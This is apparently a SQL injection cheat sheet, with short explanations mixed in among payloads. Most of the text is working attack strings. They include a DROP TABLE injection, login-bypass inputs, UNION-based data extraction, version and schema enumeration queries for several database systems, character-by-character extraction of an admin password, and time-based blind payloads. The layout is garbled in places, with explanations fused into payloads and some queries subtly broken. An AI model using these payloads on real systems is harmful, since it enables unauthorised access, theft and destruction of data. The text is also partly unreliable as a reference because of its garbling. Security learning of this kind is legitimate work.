SQL injection allows an attacker to make unwanted requested queries or modifications to the database.
Let’s assume the server makes this query with user input. SELECT * FROM users WHERE = 'userInput';
If the user were to input ' OR 1=1; DROP TABLE users; --
the resulting query would be SELECT * FROM users WHERE = '' OR 1=1; DROP TABLE users; -- ';
.
This attack allowed the user to drop the table when it should be allowed.
'
ended the user input’s stringOR 1=1;
allowed the previous query to return true--
commented the following '
that was there from the server’s query
#
' OR 1=1; YOUR INJECTION HERE; --
' UNION SELECT column FROM table; --
, 1
to get this.
' UNION SELECT column, 1, 1 FROM table; --
3 columns0'XOR(if(now()=sysdate(),sleep(20),0))XOR'Z
Bypassing logins
SELECT * FROM users WHERE password = '' AND username = ''
or SELECT * FROM users WHERE username = '' AND password = ''
' OR 1=1; --
admin'--
administrator'--
'
and look for errorsASCII(97)
SELECT VERSION();
SELECT version();
SELECT @@VERSION;
SELECT * FROM v$version
SELECT sqlite_version();
SELECT * FROM sysibm.sysversions;
SHOW TABLES;
SELECT * FROM information_schema.tables
SELECT table_name FROM user_tables;
SELECT name FROM sqlite_master;
SELECT tabname FROM syscat.tables'
DESCRIBE table_name;
or SHOW COLUMNS FROM table_name;
SELECT COLUMN_NAME from information_schema.columns where table_name = 'table_name'
SELECT colname FROM syscat.columns WHERE tabname = 'table_name';
Boolean based SQLi happen when you only get a boolean value back from your SQLi and you have to extract information through this boolean value.
' OR 1=1; --
is different from ' OR 1=2; --
AND (SELECT 'a' FROM users WHEN username='admin')='a'; --
AND (SELECT substring(password,1,1) FROM users WHERE username='admin')='a'; --
Blind SQLi are where the attacker cannot see any responses, including errors, from the db.
'; WAITFOR DELAY ('0:0:20');--
or SELECT SLEEP(20);--
SELECT * FROM products WHERE category = 'Gitfs' OR 1=1 --'
- Selects products which has the category of gifts or where 1=1(which is true). This results in returning all the products regardless of the category.